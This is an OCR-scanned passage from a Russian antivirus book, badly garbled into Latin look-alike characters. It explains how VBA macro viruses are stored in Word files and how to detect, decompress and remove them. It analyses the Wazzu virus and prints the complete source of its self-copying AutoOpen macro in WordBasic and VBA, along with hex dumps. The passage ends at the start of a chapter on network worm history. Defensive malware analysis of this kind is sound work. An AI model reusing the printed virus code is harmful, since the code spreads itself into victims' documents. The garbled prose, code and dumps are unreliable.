HMenno b hhx. A ec.™ n0Jib30Baxe.nb noMemaeT cboh MaKpocbi b «mo-
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ziyjiH KJiaccoB*. to hx Hcxo^Hbie TeKCTH oKaacyTca b noTOKe c HMeHeM 
«ThisDocument>. OTAHHHTeJibHbiM npn3HaK0 M iiotokob, b kotopwx 
«cnpaTaHbi» HCXOAHbie Teiccm MaKpocoB, HBAaeTca vieTbipex6 aHTOBaa 
cHraaTypa 00011601h, pacnojio>KeHHafl b caMOM HanaAe noTOKa.

Bo-BTopbix, B AOKj'MeHTe xpaHHTca «p-code» MaKpocoB. Pa3y\ieeT- 
CH, KOflbl H3bIK0BbIX KOHCTpyKHHH V B A  OTJIHHaiOTCa OT KOAOB H3HKa
WordBasic, Hcn0Ab30BaHHbrx b MS Word 6.0/7.0. MaKpocbi, 3afcojn- 
poBaHHbie TaKHM o6pa30M, xpaHarca b Tex ace noTOKax, hto h Hcxo/jHbie 
koah, TojibKo b ApyroM MecTe -  rae-To 6 ;m»:e k HanaJiy noTOKa.

HaKOHeu, b flOKVMeHTe xpaHHTca noAHocTbio 0 TK0Mnnjiiip0BaHHWH 
KOA MaKpocoB, riOflTOTOBJieHHblH J5JISI BbllTOJIHeHHa Ha BHpTyaAbHOH Ma- 
xuiiHe. Boo6 me roBopa, s to t HcnojiHaeMHH koa hjix  oahoto h Toro ace 
HcxoAHoro TeKCTa 6yaeT pa3HHM b 3aBiicHMocTii o t Toro, b MS Word 97 
hjih MS Word 2000 6 ma co3AaH aokvmcht, -  nocKOJibKy b hhx HcnoJibsy- 
roTca HeMHoacKo pa3JiHMaiomHeca BHpTyaAbHbie MauiHHbi. McnoAHaeMbie
koah  xpaHarca b noTOKax c HMeHaMH BHAa « __ SRP_0», « ___SRP_1»,
4 S R P_2 » h T. n. HHTepecHo, hto, HaiiAfl b 4>aftjie «  h en paB h Jib h h  e »
hah «HcnopneHHbie» HcnoAHaeMbie koaw, MS Word MoaceT o6 paTHTb- 
ca 3a cnpaBKOti k «p-code», 3aH0B0 OTKOMiiHjiHporsaTb ero h 3aTeM yace 
3anycTHTb Ha BbinoiiHeHHe pe3VJibTaT.

TaKHM 06pa30M, a a « to to  hto6 h  hh OAHa H3 «HnocTaceH» MaKpoBHpy- 
ca He bmiio jihhji acb, yAa.xaTb HaAO cpa3y Bee.

5 .43 .4 . IIo u c k  VBA-Maxpocoe
KaK * e  onpeAejiHTb, 3apaacen aokvmcht KaKHM-.ra6o BHpycoM hah 

HeT? Ciioco6 ob cymecTByeT MHoro. CaMbiii npocTon cmiaAbiBaeTca H3 

cjieAyiomHX maroB:
1) npocKaHHpoBaTb b UHKAe Bee noTOKii AOKyMeHTa;
2) b noTOKax, HaHHHaiomHxca c cHraaTypbi 0001160lh, Haiira cfjpar- 

MeHTbl C HCXOAHMMH TeKCTaMH MaKpOCOB;
3 ) pacnaKOBaTb 6 jiokh MaKpocoB h npoBecTii pacno3HaBaHHe BHpycoB 

no HcxoAHOMy TeKciy.
BnponeM, eoiH BHpyc He noAHMop(J>HbiH, mar 3 Ha arane AeTeKTiipo- 

BaHHa He o6a3aTeAeH. OAHOsna'iao pacno3HaTb BHpyc BnoAHe m o»ho h 
no yriaKOBaHHo.wy koav. TeM He MeHee npoAeMoHCTpupyeM BbinoAHeHiie 
maroB 2 h 3 Ha KOHKpeTHOM npHMepe. Bot AaMn noTOKa, b kotopom xpa- 
hhtch TeKCT HeKoero noAospiireAbnoro MaKpoca.

0000 01 16 01 00 02 36 00 FF FF 01 01 00 00 00 00 FF 1| m  a
0010 hr FF Fr 00 00 00 00 FF FF 3C 00 FF FF 00 00 57 - . . viaCRa W
0020 37 BC 8E 06 40 07 11 yE E3 B9 19 03 D8 98 56 1C 7jh.(»H nr*, ill V.
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0450 05 00 48 65 6C 6C 6F 00 41 40 1E 02 01 00 FF FF . .Hello.A® .. .ss?
0460 FF FF 68 00 00 00 01 B1 80 00 41 74 74 72 69 62 ash. . . . t °  A t t r ib
0470 75 74 00 65 20 56 42 5F 4E 61 6D 00 65 20 3D 20 u t.e  VB_Nam.e =
0480 22 54 68 69 00 73 44 6F 63 75 60 65 6E 10 74 22 'Thi.sDocumen. t"
0490 00 0A 0A 8C 42 61 73 01 02 8C 31 4E 6F 72 60 61 . . .  H>Bas.. ttlNorma
04 A0 60 02 2E 19 56 43 72 65 61 74 61 04 62 6C <11\J > 60 1 . . .V C re a ta .b l. '
0480 46 61 6C 73 65 01 0C 96 50 72 65 64 65 63 6C 12 F a lse .. -P redecl.
04C0 61 00 06 49 64 00 78 54 72 75 81 0D 22 45 78 70 a . . Id .xT ru f."E xp
0400 6F 73 65 14 1C 00 54 65 6D 70 6C 61 74 65 20 44 o se .. .Template D
04E0 65 72 69 76 15 24 43 75 CO 73 74 6F 60 69 7A 04 env.$CuAstom iz.
04F0 87 03 63 00 53 75 62 20 40 61 69 6E 00 28 29 00 £ .c.Siib M a in .( ) .
0500 0A 40 73 67 42 00 6F 78 20 22 48 65 6C 6C 42 6F .MsgB.ox "HellBo
0510 00 77 45 6E 64 20 80 OF 0D 00 0A 16 00 31 10 00 . wEnd b.......... 1..
0520 OC 00 24 00 00 00 FF FF FF FF F0 02 00 00 01 00 . $ . . .Aflqap.

B Hanajie noTOKa pa3MemaeTca xapaKTepnaa CHraaTypa «01 16h 01 
00», cjieaoBaTeJibHO, mm Ha npaBHJibHOM nyra. Tfle-TO b nepBoii yacni 
noTOKa pa3MemaeTca «p-code» MaKpoca, ho Ha Hero He HMeeT CMbicJia 
OTBJieKaTbca. 3aTo Jierao mojkho Hafira ynaKOBaHHwii Hcxo/uibiii tckct. 
Oh HanHHaeTCfl c MacKH BHaa «01 YZ  BX>>, rae «X Y Z »  upeacTaBJisieT 
coSoft flJtHHy ynaKOBaHHoro cfjpar.weHTa (TaK Ha3biBaeMoro «chunk»'a, 
HMeBiuero no ynaKOBKH hjihhv 4096 SauroB) 6e3 caMoii MacKH. H iiorjiz 
3a nepBbiM (JjparMemoM pacnoJioxcen BTopoft, TpeTHH h t. a., Bee ohh xa- 
paKTepH3yioTca MacKaMH BHfla <00 Y Z  B X ». IlTaK, b paccMaTpHBaeMOM 
npHMepe no CMemeHHio 466h pacnojiaraioTCJi xapaKxepHbie 6 aHTbi «01 B1 
B0», KOTOpbie MorjT 6birb HHTepnperapoBaHbi KaK Hanajio ynaKOBaHHoro 
4>parMeHTa a jih h o h  0Blh=177 6 aiiTOB’ .

5 .43 .5 . PacnaKoeKa VBA-meiccma MaKpocoe
K aK  pacnaKOBbmaTb h cx o / ih lih  t c k c t ?  Ecjih aHTHBnpyc pa6oTaeT 

b onepaxmoHHbix CHCTeMax ceMeiicTBa Windows NT, t o  m ojkho b oc - 

n0Jib30BaTbC5( API-4>yHKuneii «RtlDecompressBuffei>. p a c n 0Ji0JKeHH0H 

b 6 H6 ;iH 0 TeKe «NTDLL.DLL». Eft hv>kho yK a 3 aTb aapec n ep B oro  oama 
ynaKOBaHHoro cJjparMeirra h  n ep ea a rb  B b ixoaH oft 6y4>ep noaJiHHHee, Bee 

ocTaabH oe oH a caeaaeT caMa:

typedef UINT (WIN.API* RTLD) (ULONG PVQIO ULONG PvOID ULONG PULONG);

RTLG RtlDecompressSuffer;

Load Libra r y ( " n t d l l . d l l " ) ;

1 E c ji i i  hct xcexam ra hck3ti> H a ia jio  ynaKOBaHHoro « c h u o k » ’a n o  wacKC, movkho 

pacnaKOBaTb noTOK «D ir>  h  «B M T a ii»rn > » e ro  romiyio no:<numo.
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fi = G e tM odu leH and leC 'n td ll.d ll");
RtlDecompressBuffer = (RTLO) GetProcAddress(h, "R tlDecoinpressByffer");
RtlDecompressBuffer(2, Ta rge tB u ffe r, 4096, ScurceBuffer, 4096, &n); 
printf("PacnaKOBaHHaB fl/iMHa: #u SaSTOB ” , n);

Ho ecnu  aHTHBHpyc pa6 oTaeT b Windows 9X, to  6 n6 jiHOTeKa «N TD LL . 
D L L * b 3toh  BepcHH HMeexca, a HyacHoii i^vhkuhh b Heft HeT. UpH/ieT- 
ch nHcan> co6cTBeHHyio nporpaMMy zuia pacnaKOBKH. ZLih 3Toro BaacHo 
noHHTb, KaK ynaKOBaHW aaHHbie mcto/iom LZNT1. npozte.MOHcrpHpyeM 
npHHiiHnu casaTHfl Ha npHMepe paccMOTpeHHoro Bbiuie aaMna.

Baiix 0. [00] -  cjiyaceoHbiH 6 aHT. Kaacauft ero 6 ht C0 0 TBeTCTByeT on- 
HOMy H3 8  cjieayioiJj,HX 6 aiiTOB. B HauieM cjiynae ohh Bee paBHW 0, h sto 
03HanaeT, hto c/ie^yiomHe 8  6 aiiTOB -  «nopMajibHbie», ohh aojpkhw 6 biTb 
npOCTO CKOnHpOBaHM B BblXOflHOH nOTOK.

Baihrw 1-8. «  Attribute -  3t ii 6aftTbi npocTo KonHpyioTca b bwxoahoh 
noTOK 6 e3 H3MeHeHHa.

BaHT 9. [00] -  CHOBa cjiy>Ke6 HbiH oaiix aHa/ioniHHoro Ha3HaneHHa.
BaiiTM 10-17. «e  VB_Nam» -  KonnpyioTCfl b bwxo*uk>h noTOK.
Bairr 18. [00] -  CHOBa cjiy»ce6HWH6 aHT aHajioniHHoro Ha3HaneHHH.
BaftTbi 19-26. «e  =  «T h i»  -  KonnpysoTcsi b bwxozihoh noTOK.
BaftT 27. [00] -  CHOBa cJiy*e6 HWH 6 aiiT anajiorHHHoro Ha3HaneHHH.
BafiTU 28-35. «sDocumen» -  KonnpyioTCH b bwxojihoh noTOK.
B a iiT  36. [1 0 ]  -  c jiy jK e 6 Hbrii 6 a iiT  00010000 , b k o to p o m  4 -h  6 h t  paBeH 

1. 3 t o  03HanaeT, h to  aaJiee 4  6 a i m  «H opM an bH brx», noTOM 6 y,aeT 16-6h - 

TOBaa «ccbunca»-, noTOM oxwrb 3  «H op M a jib H b ix » o a m a .

BaiiTbi 37-40. « t »< C R > < L F > >  -  neTbipe «HopMajibHwx» fiaiiTa, ko-
impyiOTCH B BBIXOflHOH noTOK.

BaHTW 41-42. [0A ][8C ] -  aHOHcupoBaHHaa Bbiuie 16-6nT0Ba» ccmji- 
Ka Ha paHee yace BcrpeTHBuiHHca «o6pa3eii». Oopw ax ccujikh -  nepe- 
MeHHbiii: b Hanane ynaKOBaHHoro (^panneHTa 4 6HTa oTBoaaTca Ha /uim y 
«o6pa3ua», 12 -  Ha ero a^pec; 6m xze  k cepe^HHe (JjparMeHTa Ha zpiHHy 
OTBOflHTca 5, a Ha aapec -1 1 ,  iiotom 6  h 10 h t. a., a ajih Komia $par- 
MeHTa -  12 h 4. HTaK, cjiobo 8C0Ah=1000110000001010 03HanaeT, hto  

[OAh] -  zuiHHa o6pa3iia MHHyc rpn; bcc ocTa.xbHoe -  oxHocirrejibHhiii 
a^pec mhhvc 1, Koxopwft OTCHHTbiBaeTCH He o t Hanajia aaHHbix, a Hasa/i 
o t TeKymeii nosHUHH. To ecTb 0000001010 = OAh cooTBeTCTByeT fljimie 

13, a 100011 cooTBeTCTByeT no3HUHH «40 naaafl ot TeKymeii*. CooxBex- 
ctbchho, 6 epeM 13 6aiiTOB «o6pa3iia» H3 noaimufi 1 (cTpoHKy ’Attribute 
V B _ ')  h KonnpyeM b bmxojihoh (JiparMeiiT.

BaHTW 43-45. «Bas»... h t . a. rionpooyine, pacriaKyirre flajibiue Becb 
«HVHK» CaMOCTOHTPJlbHo!



366 ❖ MaKpoBnpycbi

5 . 4 3 . 6 .  y d a j ie n u e  V B A -M a ic p o c o e

Tenepb paccMOTpHM Bonpoc, KaK cJieqin'b* o6 Hapy»ceHHbie b AOKyMeH- 
Tax BHpycbi. B Hanajie noTOKa «Word Document » pa3MemaeTca Sojibiiioh 
3ar0/i0 B0 K FIB (File Information Block -  Ejiok HHcJxjpMamm o 4>aHJie), 
b kotopom ajih Hac Han6 ojiee HHTepecHbi flBa nojin (cm. Taoji. 5.6).

Ta6m ita 5 .6 . /7o/iw 3aronoaKa FIB
C M e m e H H e A ^ M H a H a 3 H aneH M e

15Ah 4 C M em eH H e cTpyicrypb i, o rw cb iB a io m e ii M aKpocb i, b noTOKe 

«1 Table*
15Eh 4 fl/iMHa C T py iayp b i

Il0Jie3H0 npouHTnpoBaTb «(|)Hp.vieHHoe» omicaHHe BToporo H3 3thx 
nojieii, HpKo xapaKTepH3yiomee OTHOiueHiie Microsoft k pa3rjiameHHio 
cbohx ceKpeTOB:

U ndocum ented  size o f  undocum ented  structure n o t docum ented  
above. ( He/joKyMeHTupoBaHHbiti pa3Mep HeMOKyMeHmpoBaHHoii 
crpyicrypbi, Koropan Bbtuje He AoxyMeHTMpoBaHa.)

B iiOTOKe « 1 Table* xpaHHTCH CBe^eHHa  o pacnojio;*:enHH h HMeHax 
Bcex MaKpocoB1. JIio6aH npaBiuibHan Taojnma MaKpocoB hsmhHaeTCH 
c 6aiiTa FFh h 3aKaHHHBaexcH 6aHTOM 40h. TaKHM 06pa30M, ajih ohiict- 
kh noTOKa «xTable» mo>kho b 3arojioBKe «WordDocument» ycTaHOBHXb 
AJiHHy 2, a 3ape3epBHpoBaHHoe b iiOTOKe «xTable» noA oiwcaTejiH MaK
pocoB nojie «noHHCTHTb*. noMecTHB b nana/io cjiobo 40FFh (npH3HaK 
«nycTOH» Ta6iiHu,u).

KcTaTH, oqeHb noxoace «MyxjieBaji* BHpyc Macro. Word97.Xaler (oh  
ace W97M.Lexar), 3aCTaBJIHH BCTpoeHHblH B MS Word aHTHBHpyC HC
KaTb omicaTejiH MaKpocoB TaM, r,ie hx He 6mjio. AHTHBHpyc 0TKa3hiBa jich 
onoBemaTb o HajiHHHH MaKpocoB, a bot BHpTyajibnaa MauiHHa 6hiJia 6o- 
jiee HeAOBep’iiiBOH, o6 HapyjKHBaH h ncnojiHHH MaKpocw H3 noTOKOB, onu- 
caHHbix B noAflepeBe, HaHHHaiomeMCH c noAKaTajiora «M acros*. Il03T0My 
3aBepuiaiomHM maroM jichchhh hbjimctch «V B A -3ktomhh*. to  ecTb y#a- 
JICHHe H3 AOKyMeHTa Bcex nOTOKOB, CBH3aHHbIX C MaKpOCaMH... Hy HJIH 
xoth  6 bi hx o6 mero KopHH -  KaTaJiora « Macros*. Aoc-raTOMHO nepeiiMe- 
HOBaTb ero (HanpiiMep, b « Killed*), n BHpTyajibHaa MauiHHa He naiiaer 
b AOKyMeHTe Hiwero, npe/iHa;sna<ieHHoro ajih BbinojineHHH.

'  H u o r / ia  IIO T O K  HaabiBaerca «0T ab le» , b  s t o m  c jiy 'ia e  c6pomeH b  0 6 h t o b h h  c{)Jia- 

j k o k  b  no jie  3 a ro .T O B K a  no  C M e iu e H H io  OxA.
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Pa3yMeeTC5i, onHcaHHhiH Bbim e cnoco6 o6HapyaceHHH h y/iajiemta 
MaKpoBHpycoB -  aaJieKo He ezmHcraenHbiH.

5 .5 .  f lp M M e p  aH aAM Ba m  yAaAem /isi 

K O H K p e TH O TO  M a K p o B n p y c a
MiiMUKpodoHoe w  cmoum ewaiexueamb u m -  
najdamb na mtx urnmw cnpaea... K  hum  moocuo 
npocmo nodoumu u ecrrtb -  c xaocma wiu c zojio- 
ebi, KaK yzodm.

A. h B. CxpyranKHe. <Ho>n> Ha Mapce»

IlpofleMOHCTpHpyeM Ha KOHKpeTHOM npiiMepe 0CH0BHfaie npaeMbi, koto- 
pbie MOJKHO HCn0JIb30BaTb npOTHB MaKpOBHpyCOB. IlyCTb 06l.eKT0M HJIH 

noKa3aTejibHoro «BCKpbiTHH» nocjiyaciiT necjiojKiibift MaKpoBHpyc Wazzu, 
KOTOpHH cymecTByeT b o6ohx BapHaHTax -  h Ha «3biKe WordBasic jijw  
MS Word 6.0/7.0 (Macro.Word.Wazzu), h Ha H3biKe V BA  hjih MS Word 
97 (Macro.Word97. Wazzu).

5.5 .1 . no/iyseHMe m aHa/iM3 McxoAHoro TeKCTa
Hmch 3apa>KeHHufl /jOKyMeHT, hcxoahmh tckct MaKpoBHpyca noJiyHHTb 
Hecjio5KHo. BoJibuiHHCTBo BHpycoB n03B0Jiai0T yBHaeTb b peaaicrope 
MaKpocoB, AocrynnoM nepe3 mchio «CepBHc => MaKpoc ...». Ecjiii ace sto 
HeB03M0acH0 (HanpHMep, ccjih MaKpoc ajw MS Word 6.0/7.0 3auni(j)po- 
BaH hjih MaKpoc mix MS Word 97 ocJxjpMJien KaK «KJiacc»), to mo>kho 
«BbrraiUHTb» h BOCCTaHOBHTb HcxoflHMH tckct nporpaMMHo.

H m  /joKyMCHTa b 4>op.\faTe MS Word 6.0/7.0 hco6xo/ihmo:
O  H3BJieHi> H3 cTpyKTypupoBaHHoro xpaHHJinma n0T0K noA Ha3BaHH- 

eM « Word Document*;
O  b FIB-3arojioBKe noTOKa no cMememno 118h Haiira aapec MaKpo- 

3arojioBKa, oopaTHTbca k HeMy h nojiyHHTb .aocTyri k cJ)paraeHTy 
noTOKa, xpaHHiueMy flBOHMHbiii koh MaKpocoB;

O  ecjni MaKpocbi 3amnrj)poBaHbi, to pacuiwcjjpoBaTb hx;
O  nojiK3yacb TaojiffMKoit «p-K0/i0B». pacKoaiipoBaTb MaKpocbi -  no- 

JiyHHTb HCXOflHHH TeKCT.
MoaceT BoaHUKHVTb Bonpoc: r/ie B3HTb ra6;iHM kv «p-koaob»? Bo- 

nepBbix, b MarepHa;rax Maprama ILIfiapna, nocBMineHUbix « 4)aft.'i0B0ii 
ciicTeMe Laola». Bo-BTopbix, b hcxoahwx TeKCTax VTHJiHTbi SigTool, npii- 
JiaraeMbix k anTHBHpycy ClamAV.
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Rnx flOKyMeHTa b <}x>pMaTe MS Word 97 3 aaaHa noJiyneHHfl HcxoaHoro 
TeKCTa MaKpoBHpyca eme npome:

O npocKaHHpoBaTb Bee iiotokh Ha Hajmniie CHrnaTypw 00011601h; 
O bo Bcex TaKHx noTOKax Hairra OparMeHT, Ha'iHHaroimiHCH c ciiraa- 

Typw BHaa «01 YZ  BX »;
O  pacnaKOBaTb stot (JjpameHT, «c»caTbift» mbto/iom LZNT1, -  nojiy- 

HHTb HCXOflHMH TeKCT.
IlporpaMMHbie npoueaypbi, peaJiH3yiomne 3Ty n0 c;iea0BaTe;ibH0 CTb 

aeHCTBHH, OHeHb HCCjIOaCHO peaJIH30BaTb CaMOCTOHTe.XbHO. H o ecTb H 
roTOBbie nporpaMMHbie npoayKTbi, KOTOpbie n03B0Ji5U0T <<BHTacKHBaTb» 
HcxoflHbie TeKCTbi MaKpocoB H3 flOK\'MeHTOB, 3JieKTpoHHbix xa6jmn, npe- 
3eHTaiiHH h  t. n., HanpHMep:

O  yTHJiHTa LW M  ot Mikejanda (T0JibK0  /uih aoKyMeirroB b 4>opMaTe 
MS Word 6.0/7.0);

O  fleMOHCTpauHOHHaa ynajiHTa SigTool, nocxaB.raeMaa BMecTe c aH- 
THBnpycoM ClamAV b BHae ncxoflHoro TeKCTa;

O  c/iOBauKHH aHTHBHpycHbiH naKeT H M V S  ot J. Valky. L. Vrtik h 
R. Marko.

K.fjaccuqecKHH BHpyc Macro.Word.Wazzu HCKJiioHUTejibHO npocT, 
HTO 0 6 yCJI0 BHJl0  6 0 JIbUI0 e KOJIHHeCTBO «nOapa*aHHH» H «pHMCHKOB». 
O/IHH H3 caMbix «JiaKOHHHHbix» BapHaHTOB BHpyca -  Macro.Word. 
Wazzu.gw -  coctoht H3 e/HiHCTBCHHoro MaKpoca «AutoOpen»:

Sub MAIN
On E rro r Goto MinSize
F$ = FileNarae$() + ":aUT0oPen"
G$ = "Global:aUT0oPen"
M$ = UCase$(Right$(MacroFileNa!iie$(MacroNatiie$(0)), 10))
I f  M$ = "MOBMAL.DOT" Then 
MacroCopy GS. F$

Else
KacroCopy F$, GS, 1
Endlf
MinSize:
End Sub

A  bot xaK Bwr/w/iHT eroaBOHHHbiii «p-code», pacrro;iwKeHHbiH BHyTpn 
noTOKa « Word Documents h HMeromHH iyiHHy 180 oaftxoB:

OBFC 01 00 64 IB 69 04 40 41 49 4E 64 e .d . .. . d .1 . MAINfi
0C00 2C 2D 2A 69 07 4D 69 6E 53 69 7A 65 64 69 02 46 , - i .H in S iz e d l.F
0C10 24 0G 67 25 80 05 06 07 6A 09 3A 61 55 54 4F 6F $ .g%A.. . j .: aUTOo
0C20 50 65 6E 64 69 02 47 24 0C 6A OF 47 6C 6F 62 61 Pendi.3$ .j .Globa
0C30 6C 3A 61 55 54 4F 6F 50 65 6E 64 69 02 40 24 0C 1 :aUTOoPendi. M$.
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0C40 67 AF 80 05 67 09 80 05 67 8E 81 05 67 B8 80 05 gnA.g.A.g06. g+A.
0C50 6C 00 00 06 06 12 6C 0A 00 06 06 64 10 69 02 4D 1.........
0C60 24 0C 6A 0A 4E 4F 52 40 41 4C 2E 44 4F 54 IE 64 $ . j . NORMAL.DOT.d
0C70 67 C2 80 69 02 47 24 12 69 02 46 24 64 67 54 00 g-A i.G $.i.F$dgT.
0C80 73 CB 00 0C 6C 01 00 64 20 64 67 C2 80 69 02 46 s - . . l . . d  dg -A l.F
0C90 24 12 69 02 47 24 12 6C 01 00 64 54 65 07 4D 69 $. i.G $ .L ..dT e .M i
OCAO 6E 53 69 7A 65 19 64 1A IB

BapHaHT aToro ace BHpyca, b aoKVMeimx MS Word 97,
B b ir jiH f lH T  c j ie a y io m H M  o 6 p a 3 0 M :

P ub lic  Sub MAINO 
Oim F$
Dim G$
Dim M$
On E rro r GoTo -1 : On E rro r GoTo MmSize 
F$ = W ordBasic.[FileName$]() + aUTQoPerc"
G$ = "Global:aUTOoPen"
M$ = UCase(Word8asic.[Right$](WordBasic. [MacroFileNameS] \

(WordBasic. [MacroNa.'ne$](0)), 10))
I f  MS = "NORMAL.DOT" Then 
WordBasic.MacroCopy G$, F$

Else
WordBasic.MacroCopy F$, G$, 1
End I f
MinSize:
End Sub

JIjih M a K p o co B , a B T O M a T iiie c K H  O T T paH c.TH poB aH H bix  H 3 WordBasic 
b  VBA, MS Word c o 3 f la e r  B H yT p H  a o K y M e im  O T ^eJ ibH b ie  i i o t o k h  c  co- 
O TBeTC TB yiom H M H  H M eH aM H . T a K H M  0 6 p a 3 0 M , B H p y c  c j ie a y e T  HCKan> 

b  no T O K e  «aUTOoPen», Bot ({ jp a rM e H T  3 T o ro  noT O K a, c o a e p a c a iu H H  y n a -  

K O B aH H HH  TeKCT B H p y c a :

0780 01 2F 81 00 41 74 74 72 69 62 75 74 00 65 20 . . A t tn b u t .e
0790 56 42 5F 4E 61 60 00 65 20 30 20 22 61 55 54 00 VB_Nam.e = "aUT.
07A0 4F 6F 50 65 6E 22 0D 0A 00 00 0A 50 75 62 6C 69 OoPen" P ub li
07B0 63 00 20 53 75 62 20 40 41 49 00 4E 28 29 00 0A c. Sub M A I.N ()..
07C0 44 69 60 AS 20 46 24 03 1C 47 04 0E 40 00 0E 00 Own F$. G. .M.
07DO 4F 6E 20 45 72 72 6F 72 00 20 47 6F 54 6F 20 2D On E rro r. GoTo -

IlepBhm ace B3r.'Wfl Ha HcxoflHhie TeKCThi Biipyca n03B0Ji#eT cae.na.Tb 
Bbreofl, mto oh (BHpyc) paooTaeT no KJiaccmecKOH cxeMe: nojiyna- 
eT ynpaBJieHHe npn 3arpy3Ke jnoooro zioKyMeirra, oripe/tejmeT. orKvyia 
cTapTOBaji (H3 AOKyMeirra hjih H3 «NORM ALDOIV), h KonwpyeT ce6si 
b «npoTHBonojio*HbiH» o6'm *kt  ( to ecTb H3 rJiooaJibHoro uiaoJiona -
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b AOKyMeHT, h H ao6 o p o T ).  BHpyc He noJiHMop4>eH, ho 3 a m ii4 >poBaH (b  a o - 

KyM eHTax, cos/taHHbix b M S  W o r d  6 .0/7 .0 ).

5 .5 .2 .  Pacno3H aB aH M e m y f la n eH w e  M aK poB H pyca

YnaKOBaHHbm tck c t HenojiHMopcJiHbix VBA-BHpycoB nocTOHHeH h Bcer- 
aa 0AH03HaHH0 cooTBeTCTByei HeynaKOBaHHOMV TeKCTy, TaK mto pacno- 
3HaBaHiie Moacuo npoH3BoflHTb 6e3 HcxoflHoro TeKCTa, He Bbinojurasi one- 
paitHH pacnaKOBKH.

A  b o t  H eno.x iiM op^H bie . h o  3auiH(J)poBaHHbie W o rd B as ic -B H p ycb i He 

HM eioT nocTOHHHoii c iirH aTypb i, TaK KaK n p n  KaacaoH o n ep a im n  K on n p o- 

BaHHH M aKpocoB  n pn  n o M o m ii M a c r o C o p y  m iio y  ju ia  m ii^poB aH H Ji h x  

« p - c o d e »  M S  W o r d  Bbi6 HpaeT ca.M h  ;ie iia eT  3 t o  Kaautbift pa3  c jiy 'ia ifH b iM  

06pa30M. TaKHM  06pa30M, j in x  pacnoaHaBaiiHH  n o a o 6 nb ix  BHpycoB H eo6 - 

X0 flHM 0 n peziB ap tiTejib iio  pacKo/m poBarb  «p - c o d e » .

E c jih  ace M aKpoBH pyc iioJmMopc|ieH, t o  b j i io 6 om c jiyn a e  6e3 BoccTa- 

HOB.ieHHH H aB TO M araqecK oro  anajiH3a e ro  H cxo/uroro TeKCTa o o o h t h c l ,  

no-BHflHMOMy, HeB03M0JKH0. K CHacTbfo, BH pyc Macro.Word.Wazzu.gw 
k  KJiaccy no jw M opcJm bix  He o th o c h tc h .

HocKojibKy M aK poB npycb i nanH canbi Ha aabiKax B b icoK oro  ypoB iisi 

h n oan ac  Ha 9 0 %  coctoh t H3 T ex  ace K 'noneB b ix  cjiob, KOMaim h 6jiokob 
Kozia, mto h  B n o jw e  « 6 ,ia roH aM epeH H bie» M aKpocbi, jxna h x  pacno3HaBa- 
hhh  peKOMeH/tyeTca H cno^baonaTb  /uiHHHbie cH raaTyp b i -  pasMepaMH, 

n o  KpaH H eii M epe, b HecKOJibKO coTeH  6 aiiTOB. A  M0acH0  h icoHTpojibHbie 

cyM M bi -  HMeHtio TaKoft n o flx o fl npoaeMOHCTpHpoBaH b npn.'ioaceHHH.

MeTOflHKH y m n e im s i BHpyca H3 aoKVMenra ouHcaiibi Bbime. UpMMepH 
npoye;iyp npiiBeaeifbi b npH.ioaceHHH.



fAABA

CeTeBbie m noHToebie 
Bupycbi ia nepen

CaMopa3MHoacaiomHecH nporpaMMbi, o  Koxopbix ceftqac noiiaeT  penb, 

ooBeaHHeHH b o6m yio rpyn n y  b cbh3h co  cnoco6H ocrb io caM ocxonxejibno 

nepeMeiuaTbca c KOMnwoxepa Ha KOMnbioTep, 6e3 ncn0Jib30BaHHa Karaix- 

;m 6o npoMOKVTOMUbix HocHTeaen ra n a  ahckct, CD, (JxreiueK h t. n. 3 xo  

B03M0acH0 6/iaroaapH cymecTBOBamuo h uiHpoKOMy pacnpocxpaHeHHio 

KoMribwrnepHbLX cemeu.
Bojim uhhcxbo BiipycoB, paeripGCTpauHioinHXCH no KOMnbioTepHbiM 

ceTHM, He ripifKpeii.riHKJTCH k /ipyrn.M nporpaMMaM. B o;iee  Toro, HeK0X0- 

pbie H3 hhx He HMeioT aaace CBoero nporpaMMHoro cjraiijia, a cymecTBy- 

rox xojibKo b onepaxHBHoii naMHTH b BHae nponeccoB. 3 t o  03HanaeT, hxo 
Bee oh h  npeHMymecxBeHHO npimaaJieacaT k K.raccy eupycoe - nepeeu ( in n  

npocTo nepeevi).

6.1. KpaTKafi MCTopun ceTePi m ceTeeoM 
«BapaBbi»

-  Ohu paspaeHueatom 3aewi, -  oobsicmui Jim. -  
CKjwd nmmu lomoe. Ceuuac ecu cucmeMa nepe- 
cmpaueaemca. O hu 6ydym cmpourm> amap u 
eodonpoeod.

A. h B. CTpyranKiie. 
«Bo3Bpaiuenne» («rioji;ienb. XXII bck» )

KoMimoiriepHbie cemu KaK cucxeMbi HHcJjopMauHoiiHOH cbh3M M e *a y  ox- 

aejibHbiMH KOMiibroxepaMH nayajm  pa3pa6aTbiBaxbCH b C L IIA  c Koima 

1950-x roaoB. CnycxH /lecstxujK-xiie, k KOHuy 1960-x roaoB y>Ke cym ecx- 

isoBajiw He xo.abKO MHoroHHCJienHbie jioKOM>ime cemu (ooBeyimiHBinne 

pacno.ao>KeHHbie paaoM KOMnbioxepw), h o  h no Kpai'meii Mepe oana m o -
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6 (uibH(isi cerm  ARPANET, cBsoaBiiiaa b en im oe  HHcjwpMaiiHOHHoe npo- 
cTpaHCTBO HecKo/rtKo Kpynuux HaynHO-HccJieaoBaTejibCKHX h BoeHHbix 
ueHTpoB C IIIA . /Ijih opraHHsaijHH CBH3H Meacay KOMnbiOTepaMH HcnoJib- 
3oBajincb caMaa pa3Hoo6 pa3HaH, flaBHWM-aaBHO noTepaBiuaa aicryajib- 
HocTb h HbiHe coBepiueHHo 3a6biTaa annapaiypa. O nporpaMMHbix peuie- 
hhhx h roBopnTb He npHxoflirrcji: b Te BpeMeHa cymecTBOBaJio mhojkcctbo 
pa3H0BHAH0CTeft 3B M , Bee ohh BbinycKajiHCb cpaBHHTejibHO HeSojib- 
uihmh «Tnpa»caMH», h Kaamax  paSoTajia non  ynpaBJienneM co6 cTBeHHoii 
OnepanHOHHOH ciicTeMbi. IIoHca;iyH, hmchho s to t pa3Ho6 oH h c J iy x m i Ha 
paHHHX aTanax npenHTCTBHeM k urapoKOMy pacnpocTpaHeHHio ce/ren.

TeM He MeHee b nocjie^yioimie ro;iw kojihmcctbo kjihbhtob ARPANE T 
nocTOHHHo yBejiHHHBaJiocb 3a c n e r aMepHKaHCiaix ynacTHHKOB, a b 1973 r. 
k Heft 6bMH BnepBbie rio/tKJiKweHbi ii hHficTpaHHbie (HopaoKCKiie h aHr- 
JIHHCKHe) opraHH3aiiHH.

IIpHMepHO k cepeflHHe 1970-x rofloB othocxtch h nepBbie 3aoaBH c ca- 
MocToaTejibHo pacnpocrpaHHioiUHMHCH no ceTH nporpaMMaMH. B jihtc- 
